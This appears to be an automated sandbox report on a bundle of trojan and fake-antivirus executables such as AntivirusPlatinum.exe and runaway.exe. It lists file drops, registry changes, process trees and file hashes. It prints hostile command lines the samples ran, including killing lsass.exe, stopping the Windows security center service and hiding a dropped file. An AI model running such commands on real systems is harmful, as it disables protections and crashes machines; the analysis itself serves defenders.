File created C:\Windows\302746537.exe C:\Users\Admin\AppData\Local\Temp\Trojan\AntivirusPlatinum.exe N/A
File opened for modification C:\Windows\302746537.exe C:\Users\Admin\AppData\Local\Temp\Trojan\AntivirusPlatinum.exe N/A
File created C:\Windows\__tmp_rar_sfx_access_check_240612765 C:\Users\Admin\AppData\Local\Temp\Trojan\AntivirusPlatinum.exe N/A
File created C:\Windows\antivirus-platinum.exe C:\Users\Admin\AppData\Local\Temp\Trojan\AntivirusPlatinum.exe N/A
File created C:\Windows\COMCTL32.OCX C:\Users\Admin\AppData\Local\Temp\Trojan\AntivirusPlatinum.exe N/A
File opened for modification C:\Windows\COMCTL32.OCX C:\Users\Admin\AppData\Local\Temp\Trojan\AntivirusPlatinum.exe N/A
File created C:\Windows\MSCOMCTL.OCX C:\Users\Admin\AppData\Local\Temp\Trojan\AntivirusPlatinum.exe N/A
File opened for modification C:\Windows\MSCOMCTL.OCX C:\Users\Admin\AppData\Local\Temp\Trojan\AntivirusPlatinum.exe N/A
File opened for modification C:\Windows\antivirus-platinum.exe C:\Users\Admin\AppData\Local\Temp\Trojan\AntivirusPlatinum.exe N/A

Enumerates physical storage devices

NSIS installer

installer
Description Indicator Process Target
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A

Delays execution with timeout.exe

evasion
Description Indicator Process Target
N/A N/A C:\Windows\system32\timeout.exe N/A
N/A N/A C:\Windows\system32\timeout.exe N/A
N/A N/A C:\Windows\system32\timeout.exe N/A

Kills process with taskkill

evasion
Description Indicator Process Target
N/A N/A C:\Windows\system32\taskkill.exe N/A

Modifies registry class

Description Indicator Process Target
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{373FF7F0-EB8B-11CD-8820-08002B2F4F5A}\VersionIndependentProgID\ = "COMCTL.Slider" C:\Windows\SysWOW64\regsvr32.exe N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{612A8625-0FB3-11CE-8747-524153480004}\ProxyStubClsid32\ = "{00020420-0000-0000-C000-000000000046}" C:\Windows\SysWOW64\regsvr32.exe N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{2C787A50-E01C-11CF-8E74-00A0C90F26F8}\ProxyStubClsid32\ = "{00020424-0000-0000-C000-000000000046}" C:\Windows\SysWOW64\regsvr32.exe N/A
Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{0713E8A2-850A-101B-AFC0-4210102A8DA7} C:\Windows\SysWOW64\regsvr32.exe N/A
Key created \REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{612A8628-0FB3-11CE-8747-524153480004}\InprocServer32 C:\Windows\SysWOW64\regsvr32.exe N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{58DA8D93-9D6A-101B-AFC0-4210102A8DA7}\ = "ImageList General Property Page Object" C:\Windows\SysWOW64\regsvr32.exe N/A
Key created \REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{6B7E638F-850A-101B-AFC0-4210102A8DA7}\Version C:\Windows\SysWOW64\regsvr32.exe N/A
Key created \REGISTRY\MACHINE\SOFTWARE\Classes\COMCTL.Slider.1\CLSID C:\Windows\SysWOW64\regsvr32.exe N/A
Key created \REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{9ED94440-E5E8-101B-B9B5-444553540000} C:\Windows\SysWOW64\regsvr32.exe N/A
Key created \REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{6B7E638F-850A-101B-AFC0-4210102A8DA7}\InprocServer32 C:\Windows\SysWOW64\regsvr32.exe N/A
Key created \REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{0713E8D2-850A-101B-AFC0-4210102A8DA7}\MiscStatus\1 C:\Windows\SysWOW64\regsvr32.exe N/A
Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{612A8625-0FB3-11CE-8747-524153480004}\ProxyStubClsid32 C:\Windows\SysWOW64\regsvr32.exe N/A
Key created \REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\Interface\{2C787A52-E01C-11CF-8E74-00A0C90F26F8} C:\Windows\SysWOW64\regsvr32.exe N/A
Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{58DA8D96-9D6A-101B-AFC0-4210102A8DA7} C:\Windows\SysWOW64\regsvr32.exe N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{6B7E63A3-850A-101B-AFC0-4210102A8DA7}\ = "Panel Property Page Object" C:\Windows\SysWOW64\regsvr32.exe N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{6027C2D4-FB28-11CD-8820-08002B2F4F5A}\InprocServer32\ = "c:\\windows\\comctl32.ocx" C:\Windows\SysWOW64\regsvr32.exe N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\Interface\{E6E17E8C-DF38-11CF-8E74-00A0C90F26F8}\ = "IToolbar" C:\Windows\SysWOW64\regsvr32.exe N/A
Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{7791BA42-E020-11CF-8E74-00A0C90F26F8}\TypeLib C:\Windows\SysWOW64\regsvr32.exe N/A
Key created \REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\Interface\{6B7E6391-850A-101B-AFC0-4210102A8DA7} C:\Windows\SysWOW64\regsvr32.exe N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{58DA8D8A-9D6A-101B-AFC0-4210102A8DA7}\ProgID\ = "COMCTL.ListViewCtrl.1" C:\Windows\SysWOW64\regsvr32.exe N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{58DA8D8A-9D6A-101B-AFC0-4210102A8DA7}\Version\ = "1.3" C:\Windows\SysWOW64\regsvr32.exe N/A
Key created \REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{9ED94444-E5E8-101B-B9B5-444553540000}\InprocServer32 C:\Windows\SysWOW64\regsvr32.exe N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{612A8628-0FB3-11CE-8747-524153480004}\ = "Toolbar General Property Page Object" C:\Windows\SysWOW64\regsvr32.exe N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\Interface\{7791BA42-E020-11CF-8E74-00A0C90F26F8}\TypeLib\ = "{6B7E6392-850A-101B-AFC0-4210102A8DA7}" C:\Windows\SysWOW64\regsvr32.exe N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{E6E17E8C-DF38-11CF-8E74-00A0C90F26F8}\ = "IToolbar" C:\Windows\SysWOW64\regsvr32.exe N/A
Key created \REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{58DA8D8A-9D6A-101B-AFC0-4210102A8DA7}\Version C:\Windows\SysWOW64\regsvr32.exe N/A
Key created \REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{9ED94440-E5E8-101B-B9B5-444553540000}\Implemented Categories\{7DD95802-9882-11CF-9FA9-00AA006C42C4} C:\Windows\SysWOW64\regsvr32.exe N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{373FF7F0-EB8B-11CD-8820-08002B2F4F5A}\ = "Microsoft Slider Control, version 5.0 (SP2)" C:\Windows\SysWOW64\regsvr32.exe N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\TypeLib\{6B7E6392-850A-101B-AFC0-4210102A8DA7}\1.3\ = "Microsoft Windows Common Controls 5.0 (SP2)" C:\Windows\SysWOW64\regsvr32.exe N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\Interface\{E6E17E8A-DF38-11CF-8E74-00A0C90F26F8}\TypeLib\ = "{6B7E6392-850A-101B-AFC0-4210102A8DA7}" C:\Windows\SysWOW64\regsvr32.exe N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{612A8624-0FB3-11CE-8747-524153480004}\ToolboxBitmap32\ = "c:\\windows\\comctl32.ocx, 12" C:\Windows\SysWOW64\regsvr32.exe N/A
Key created \REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{58DA8D8A-9D6A-101B-AFC0-4210102A8DA7} C:\Windows\SysWOW64\regsvr32.exe N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{58DA8D8F-9D6A-101B-AFC0-4210102A8DA7}\InprocServer32\ThreadingModel = "Apartment" C:\Windows\SysWOW64\regsvr32.exe N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{2334D2B3-713E-11CF-8AE5-00AA00C00905}\ = "IVBDataObjectFiles" C:\Windows\SysWOW64\regsvr32.exe N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\Interface\{612A8626-0FB3-11CE-8747-524153480004}\TypeLib\Version = "1.3" C:\Windows\SysWOW64\regsvr32.exe N/A
Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{7791BA42-E020-11CF-8E74-00A0C90F26F8} C:\Windows\SysWOW64\regsvr32.exe N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\COMCTL.Toolbar\CurVer\ = "COMCTL.Toolbar.1" C:\Windows\SysWOW64\regsvr32.exe N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\Interface\{0713E791-850A-101B-AFC0-4210102A8DA7}\ProxyStubClsid32\ = "{00020420-0000-0000-C000-000000000046}" C:\Windows\SysWOW64\regsvr32.exe N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\COMCTL.ListViewCtrl.1\CLSID\ = "{58DA8D8A-9D6A-101B-AFC0-4210102A8DA7}" C:\Windows\SysWOW64\regsvr32.exe N/A
Key created \REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{612A8628-0FB3-11CE-8747-524153480004} C:\Windows\SysWOW64\regsvr32.exe N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{0713E8D2-850A-101B-AFC0-4210102A8DA7}\ = "Microsoft ProgressBar Control, version 5.0 (SP2)" C:\Windows\SysWOW64\regsvr32.exe N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{2334D2B1-713E-11CF-8AE5-00AA00C00905}\ = "IVBDataObject" C:\Windows\SysWOW64\regsvr32.exe N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{9ED94442-E5E8-101B-B9B5-444553540000}\TypeLib\Version = "1.3" C:\Windows\SysWOW64\regsvr32.exe N/A
Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{7791BA52-E020-11CF-8E74-00A0C90F26F8}\TypeLib C:\Windows\SysWOW64\regsvr32.exe N/A
Key created \REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{58DA8D8A-9D6A-101B-AFC0-4210102A8DA7}\TypeLib C:\Windows\SysWOW64\regsvr32.exe N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{0713E8A2-850A-101B-AFC0-4210102A8DA7}\Version\ = "1.3" C:\Windows\SysWOW64\regsvr32.exe N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\COMCTL.TabStrip\CurVer\ = "COMCTL.TabStrip.1" C:\Windows\SysWOW64\regsvr32.exe N/A
Key created \REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{9ED94440-E5E8-101B-B9B5-444553540000}\MiscStatus C:\Windows\SysWOW64\regsvr32.exe N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{6B7E638F-850A-101B-AFC0-4210102A8DA7}\VersionIndependentProgID\ = "COMCTL.SBarCtrl" C:\Windows\SysWOW64\regsvr32.exe N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\Interface\{0713E944-850A-101B-AFC0-4210102A8DA7}\ProxyStubClsid32\ = "{00020420-0000-0000-C000-000000000046}" C:\Windows\SysWOW64\regsvr32.exe N/A
Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{9ED94441-E5E8-101B-B9B5-444553540000}\ProxyStubClsid32 C:\Windows\SysWOW64\regsvr32.exe N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{612A8626-0FB3-11CE-8747-524153480004}\ProxyStubClsid32\ = "{00020420-0000-0000-C000-000000000046}" C:\Windows\SysWOW64\regsvr32.exe N/A
Key created \REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{58DA8D8A-9D6A-101B-AFC0-4210102A8DA7}\Programmable C:\Windows\SysWOW64\regsvr32.exe N/A
Key created \REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{6B7E638F-850A-101B-AFC0-4210102A8DA7}\ToolboxBitmap32 C:\Windows\SysWOW64\regsvr32.exe N/A
Key created \REGISTRY\MACHINE\SOFTWARE\Classes\TypeLib\{6B7E6392-850A-101B-AFC0-4210102A8DA7}\1.3\0\win32 C:\Windows\SysWOW64\regsvr32.exe N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\Interface\{E6E17E8A-DF38-11CF-8E74-00A0C90F26F8}\TypeLib\Version = "1.3" C:\Windows\SysWOW64\regsvr32.exe N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\Interface\{9ED94442-E5E8-101B-B9B5-444553540000}\TypeLib\Version = "1.3" C:\Windows\SysWOW64\regsvr32.exe N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\COMCTL.TreeCtrl\CLSID\ = "{0713E8A2-850A-101B-AFC0-4210102A8DA7}" C:\Windows\SysWOW64\regsvr32.exe N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{E6E17E8A-DF38-11CF-8E74-00A0C90F26F8}\ = "ITabStrip" C:\Windows\SysWOW64\regsvr32.exe N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{7791BA50-E020-11CF-8E74-00A0C90F26F8}\ProxyStubClsid32\ = "{00020424-0000-0000-C000-000000000046}" C:\Windows\SysWOW64\regsvr32.exe N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{0713E451-850A-101B-AFC0-4210102A8DA7}\TypeLib\ = "{6B7E6392-850A-101B-AFC0-4210102A8DA7}" C:\Windows\SysWOW64\regsvr32.exe N/A
Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{612A8628-0FB3-11CE-8747-524153480004} C:\Windows\SysWOW64\regsvr32.exe N/A
Key created \REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{58DA8D8F-9D6A-101B-AFC0-4210102A8DA7}\VersionIndependentProgID C:\Windows\SysWOW64\regsvr32.exe N/A
Key created \REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{58DA8D8F-9D6A-101B-AFC0-4210102A8DA7}\Implemented Categories\{7DD95802-9882-11CF-9FA9-00AA006C42C4} C:\Windows\SysWOW64\regsvr32.exe N/A

Runs net.exe

Suspicious use of WriteProcessMemory

Description Indicator Process Target
PID 4080 wrote to memory of 3176 N/A C:\Users\Admin\AppData\Local\Temp\Trojan\2repair.exe C:\Windows\system32\cmd.exe
PID 4080 wrote to memory of 3176 N/A C:\Users\Admin\AppData\Local\Temp\Trojan\2repair.exe C:\Windows\system32\cmd.exe
PID 3176 wrote to memory of 5080 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\timeout.exe
PID 3176 wrote to memory of 5080 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\timeout.exe
PID 3176 wrote to memory of 5012 N/A C:\Windows\system32\cmd.exe C:\Users\Admin\AppData\Local\Temp\Trojan\FreeMicrosoft.exe
PID 3176 wrote to memory of 5012 N/A C:\Windows\system32\cmd.exe C:\Users\Admin\AppData\Local\Temp\Trojan\FreeMicrosoft.exe
PID 3176 wrote to memory of 5012 N/A C:\Windows\system32\cmd.exe C:\Users\Admin\AppData\Local\Temp\Trojan\FreeMicrosoft.exe
PID 3176 wrote to memory of 3780 N/A C:\Windows\system32\cmd.exe C:\Users\Admin\AppData\Local\Temp\Trojan\Melting.exe
PID 3176 wrote to memory of 3780 N/A C:\Windows\system32\cmd.exe C:\Users\Admin\AppData\Local\Temp\Trojan\Melting.exe
PID 3176 wrote to memory of 116 N/A C:\Windows\system32\cmd.exe C:\Users\Admin\AppData\Local\Temp\Trojan\AntivirusPlatinum.exe
PID 3176 wrote to memory of 116 N/A C:\Windows\system32\cmd.exe C:\Users\Admin\AppData\Local\Temp\Trojan\AntivirusPlatinum.exe
PID 3176 wrote to memory of 116 N/A C:\Windows\system32\cmd.exe C:\Users\Admin\AppData\Local\Temp\Trojan\AntivirusPlatinum.exe
PID 3176 wrote to memory of 2992 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\timeout.exe
PID 3176 wrote to memory of 2992 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\timeout.exe
PID 116 wrote to memory of 2240 N/A C:\Users\Admin\AppData\Local\Temp\Trojan\AntivirusPlatinum.exe C:\WINDOWS\302746537.exe
PID 116 wrote to memory of 2240 N/A C:\Users\Admin\AppData\Local\Temp\Trojan\AntivirusPlatinum.exe C:\WINDOWS\302746537.exe
PID 116 wrote to memory of 2240 N/A C:\Users\Admin\AppData\Local\Temp\Trojan\AntivirusPlatinum.exe C:\WINDOWS\302746537.exe
PID 2240 wrote to memory of 2356 N/A C:\WINDOWS\302746537.exe C:\Windows\SysWOW64\cmd.exe
PID 2240 wrote to memory of 2356 N/A C:\WINDOWS\302746537.exe C:\Windows\SysWOW64\cmd.exe
PID 2240 wrote to memory of 2356 N/A C:\WINDOWS\302746537.exe C:\Windows\SysWOW64\cmd.exe
PID 2356 wrote to memory of 2636 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\regsvr32.exe
PID 2356 wrote to memory of 2636 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\regsvr32.exe
PID 2356 wrote to memory of 2636 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\regsvr32.exe

Views/modifies file attributes

evasion
Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\attrib.exe N/A

Processes

C:\Users\Admin\AppData\Local\Temp\Trojan\2repair.exe

"C:\Users\Admin\AppData\Local\Temp\Trojan\2repair.exe"

C:\Windows\system32\cmd.exe

"C:\Windows\sysnative\cmd" /c "C:\Users\Admin\AppData\Local\Temp\5B01.tmp\5B02.tmp\5B03.bat C:\Users\Admin\AppData\Local\Temp\Trojan\2repair.exe"

C:\Windows\system32\timeout.exe

timeout /t 6

C:\Users\Admin\AppData\Local\Temp\Trojan\FreeMicrosoft.exe

FreeMicrosoft.exe

C:\Users\Admin\AppData\Local\Temp\Trojan\Melting.exe

Melting.exe

C:\Users\Admin\AppData\Local\Temp\Trojan\AntivirusPlatinum.exe

AntivirusPlatinum.exe

C:\Windows\system32\timeout.exe

timeout /t 2

C:\WINDOWS\302746537.exe

"C:\WINDOWS\302746537.exe"

C:\Windows\SysWOW64\cmd.exe

C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\76E5.tmp\302746537.bat" "

C:\Windows\SysWOW64\regsvr32.exe

regsvr32 /s c:\windows\comctl32.ocx

C:\Windows\SysWOW64\regsvr32.exe

regsvr32 /s c:\windows\mscomctl.ocx

\??\c:\windows\antivirus-platinum.exe

c:\windows\antivirus-platinum.exe

C:\Windows\SysWOW64\attrib.exe

attrib +h c:\windows\antivirus-platinum.exe

C:\Users\Admin\AppData\Local\Temp\Trojan\Antivirus.exe

Antivirus.exe

C:\Users\Admin\AppData\Local\Temp\Trojan\runaway.exe

runaway.exe

C:\Users\Admin\AppData\Local\Temp\Trojan\runaway.exe

runaway.exe

C:\Users\Admin\AppData\Local\Temp\Trojan\runaway.exe

runaway.exe

C:\Windows\system32\taskkill.exe

taskkill /IM lsass.exe /F

C:\Users\Admin\AppData\Local\Temp\Trojan\runaway.exe

runaway.exe

C:\Users\Admin\AppData\Local\Temp\Trojan\runaway.exe

runaway.exe

C:\Users\Admin\AppData\Local\Temp\Trojan\Badgame.exe

Badgame.exe

C:\Users\Admin\AppData\Local\Temp\Trojan\runaway.exe

runaway.exe

C:\Users\Admin\AppData\Local\Temp\Trojan\runaway.exe

runaway.exe

C:\Users\Admin\AppData\Local\Temp\Trojan\Hydra.exe

Hydra.exe

C:\Users\Admin\AppData\Local\Temp\Trojan\runaway.exe

runaway.exe

C:\Users\Admin\AppData\Local\Temp\Trojan\runaway.exe

runaway.exe

C:\Users\Admin\AppData\Local\Temp\Trojan\runaway.exe

runaway.exe

C:\Users\Admin\AppData\Local\Temp\Trojan\runaway.exe

runaway.exe

C:\Users\Admin\AppData\Local\Temp\Trojan\runaway.exe

runaway.exe

C:\Users\Admin\AppData\Local\Temp\Trojan\runaway.exe

runaway.exe

C:\Users\Admin\AppData\Local\Temp\Trojan\runaway.exe

runaway.exe

C:\Users\Admin\AppData\Local\Temp\Trojan\Melting.exe

Melting.exe

C:\Users\Admin\AppData\Local\Temp\Trojan\runaway.exe

runaway.exe

C:\Users\Admin\AppData\Local\Temp\Trojan\Melting.exe

Melting.exe

C:\Users\Admin\AppData\Local\Temp\Trojan\runaway.exe

runaway.exe

C:\Users\Admin\AppData\Local\Temp\Trojan\SGen.exe

SGen.exe

C:\Users\Admin\AppData\Local\Temp\Trojan\runaway.exe

runaway.exe

C:\Users\Admin\AppData\Local\Temp\Trojan\runaway.exe

runaway.exe

C:\Windows\system32\timeout.exe

timeout /t 10

C:\Windows\SysWOW64\wscript.exe

wscript.exe "C:\Users\Admin\AppData\Local\Temp\SFC7FCF.tmp.vbs"

C:\Windows\SysWOW64\net.exe

net stop wscsvc

C:\Windows\SysWOW64\net.exe

net stop winmgmt /y

C:\Windows\SysWOW64\net.exe

net start winmgmt

C:\Windows\SysWOW64\net.exe

net start wscsvc

C:\Windows\SysWOW64\Wbem\mofcomp.exe

mofcomp C:\Users\Admin\AppData\Local\Temp\4otjesjty.mof

C:\Windows\SysWOW64\net1.exe

C:\Windows\system32\net1 stop winmgmt /y

C:\Windows\SysWOW64\net1.exe

C:\Windows\system32\net1 start winmgmt

C:\Windows\SysWOW64\net1.exe

C:\Windows\system32\net1 stop wscsvc

C:\Windows\SysWOW64\net1.exe

C:\Windows\system32\net1 start wscsvc

C:\Users\Admin\AppData\Local\Temp\Trojan\Melting.exe

Melting.exe

C:\Users\Admin\AppData\Local\Temp\Trojan\Melting.exe

Melting.exe

C:\Users\Admin\AppData\Local\Temp\Trojan\Melting.exe

Melting.exe

C:\Users\Admin\AppData\Local\Temp\Trojan\PCOptimizerProInstaller.exe

PCOptimizerProInstaller.exe

C:\Users\Admin\AppData\Local\Temp\Trojan\VirusCan.exe

VirusCan.exe

C:\Users\Admin\AppData\Local\Temp\Trojan\matrix.exe

matrix.exe

C:\Users\Admin\AppData\Local\Temp\Trojan\bomb.exe

bomb.exe

C:\Windows\SysWOW64\cmd.exe

C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\AF99.tmp\VirusCan.bat""

C:\Users\Admin\AppData\Local\Temp\Trojan\ChilledWindows.exe

ChilledWindows.exe

C:\Windows\system32\cmd.exe

"C:\Windows\sysnative\cmd" /c "C:\Users\Admin\AppData\Local\Temp\B0C2.tmp\B0C3.tmp\B0C4.bat C:\Users\Admin\AppData\Local\Temp\Trojan\matrix.exe"

C:\Windows\SysWOW64\cmd.exe

cmd.exe

C:\Windows\SysWOW64\cmd.exe

cmd.exe

C:\Windows\SysWOW64\cmd.exe

cmd.exe

C:\Windows\SysWOW64\cmd.exe

cmd.exe

C:\Windows\SysWOW64\cmd.exe

cmd.exe

C:\Windows\SysWOW64\cmd.exe

cmd.exe

C:\Windows\SysWOW64\cmd.exe

cmd.exe

C:\Windows\SysWOW64\cmd.exe

cmd.exe

C:\Windows\system32\AUDIODG.EXE

C:\Windows\system32\AUDIODG.EXE 0x324 0x498

C:\Windows\SysWOW64\cmd.exe

cmd.exe

C:\Windows\SysWOW64\cmd.exe

cmd.exe

C:\Windows\SysWOW64\cmd.exe

cmd.exe

C:\Windows\SysWOW64\cmd.exe

cmd.exe

Network

Country Destination Domain Proto
US 8.8.8.8:53 178.223.142.52.in-addr.arpa udp
US 8.8.8.8:53 154.239.44.20.in-addr.arpa udp
US 8.8.8.8:53 0.204.248.87.in-addr.arpa udp
US 8.8.8.8:53 134.32.126.40.in-addr.arpa udp
US 8.8.8.8:53 95.221.229.192.in-addr.arpa udp
US 8.8.8.8:53 13.86.106.20.in-addr.arpa udp
US 8.8.8.8:53 217.106.137.52.in-addr.arpa udp

Files

C:\Users\Admin\AppData\Local\Temp\5B01.tmp\5B02.tmp\5B03.bat

MD5 9eed2c0c3293d9424e3edacf3b36615d
SHA1 1d7743263a25661055549dd913ec5c654fa99ffd
SHA256 9780bbabc18e0a4cf00c87ffe12c36804fd1180c7e62ceb3f244820224dd15b2
SHA512 cedcd3b4ea56f4495e5f0baf20795c1296130f65d5512b4a7adabd1cfc46c2af0f94e5678a74b9fc181371d2e34239bc1d833f908e599f7389ee53cd55a8b746

C:\Users\Admin\AppData\Local\Temp\Trojan\Melting.exe

MD5 833619a4c9e8c808f092bf477af62618
SHA1 b4a0efa26f790e991cb17542c8e6aeb5030d1ebf
SHA256 92a284981c7ca33f1af45ce61738479fbcbb5a4111f5498e2cb54931c8a36c76
SHA512 4f231fc16339d568b5cf9353133aeae835eb262dab68bc80d92f37b43df64dce4fae0e913cbaa3bb61351a759aeecf9d280bc5779b0853c980559a654d6cca11

C:\Users\Admin\AppData\Local\Temp\Trojan\AntivirusPlatinum.exe

MD5 382430dd7eae8945921b7feab37ed36b
SHA1 c95ddaebe2ae8fbcb361f3bf080d95a7bb5bf128
SHA256 70e5e902d0ac7534838b743c899f484fe10766aefacc6df697219387a8e3d06b
SHA512 26abc02bde77f0b94613edc32e0843ac71a0a8f3d8ba01cb94a42c047d0be7befef52a81984e9a0fa867400082a8905e7a63aaaf85fa32a03d27f7bc6a548c3b

C:\Windows\302746537.exe

MD5 8703ff2e53c6fd3bc91294ef9204baca
SHA1 3dbb8f7f5dfe6b235486ab867a2844b1c2143733
SHA256 3028a2b0e95143a4caa9bcd6ae794958e7469a20c6e673da067958cbf4310035
SHA512 d5eb8a07457a78f9acd0f81d2f58bbf64b52183318b87c353a590cd2a3ac3a6ec9c1452bd52306c7cf99f19b6a897b16ceb8289a7d008c5ce3b07eda9b871204

memory/2240-53-0x0000000000400000-0x0000000000410000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\76E5.tmp\302746537.bat

MD5 7d8beb22dfcfacbbc2609f88a41c1458
SHA1 52ec2b10489736b963d39a9f84b66bafbf15685f
SHA256 4aa9ed4b38514f117e6e4f326cb0a1be7f7b96199e21305e2bd6dce289d7baa2
SHA512 a26cf9168cf7450435a9fe8942445511f6fda1087db52bd73e335d6f5b544fc892999019d9291d9dcc60c3656de49688f6d63282c97706e2db286f988e44fd94

C:\Windows\COMCTL32.OCX

MD5 821511549e2aaf29889c7b812674d59b
SHA1 3b2fd80f634a3d62277e0508bedca9aae0c5a0d6
SHA256 f59cdf89f0f522ce3662e09fa847bca9b277b006c415dcc0029b416c347db9c4
SHA512 8b2e805b916e5fbfcccb0f4189372aea006789b3847b51018075187135e9b5db9098f704c1932623f356db0ee327e1539a9bf3729947e92844a26db46555e8cd

\??\c:\windows\mscomctl.ocx

MD5 714cf24fc19a20ae0dc701b48ded2cf6
SHA1 d904d2fa7639c38ffb6e69f1ef779ca1001b8c18
SHA256 09f126e65d90026c3f659ff41b1287671b8cc1aa16240fc75dae91079a6b9712
SHA512 d375fd9b509e58c43355263753634368fa711f02a2235f31f7fa420d1ff77504d9a29bb70ae31c87671d50bd75d6b459379a1550907fbe5c37c60da835c60bc1

\??\c:\windows\antivirus-platinum.exe

MD5 cd1800322ccfc425014a8394b01a4b3d
SHA1 171073975effde1c712dfd86309457fd457aed33
SHA256 8115de4ad0b7e589852f521eb4260c127f8afeaa3b0021bfc98e4928a4929ac0
SHA512 92c22c025fd3a61979fa718bf2e89a86e51bf7e69c421a9534fbf9c2d5b23b7a9224d0e9f3e0501992038837015214d1ef73b532a68b7d19de559c9ab9c6e5f6

memory/2284-65-0x0000000000400000-0x000000000040D000-memory.dmp

memory/2240-68-0x0000000000400000-0x0000000000410000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\Trojan\Antivirus.exe

MD5 c7e9746b1b039b8bd1106bca3038c38f
SHA1 cb93ac887876bafe39c5f9aa64970d5e747fb191
SHA256 b1369bd254d96f7966047ad4be06103830136629590182d49e5cb8680529ebd4
SHA512 cf5d688f1aec8ec65c1cb91d367da9a96911640c695d5c2d023836ef11e374ff158c152b4b6207e8fcdb5ccf0eed79741e080f1cbc915fe0af3dacd624525724

C:\Users\Admin\AppData\Local\Temp\Trojan\runaway.exe

MD5 979b597855746aee2f30ee74f9d7c163
SHA1 56dd0b4bbc5ddcc3fab99ea2e8f781d8b7c7c05f
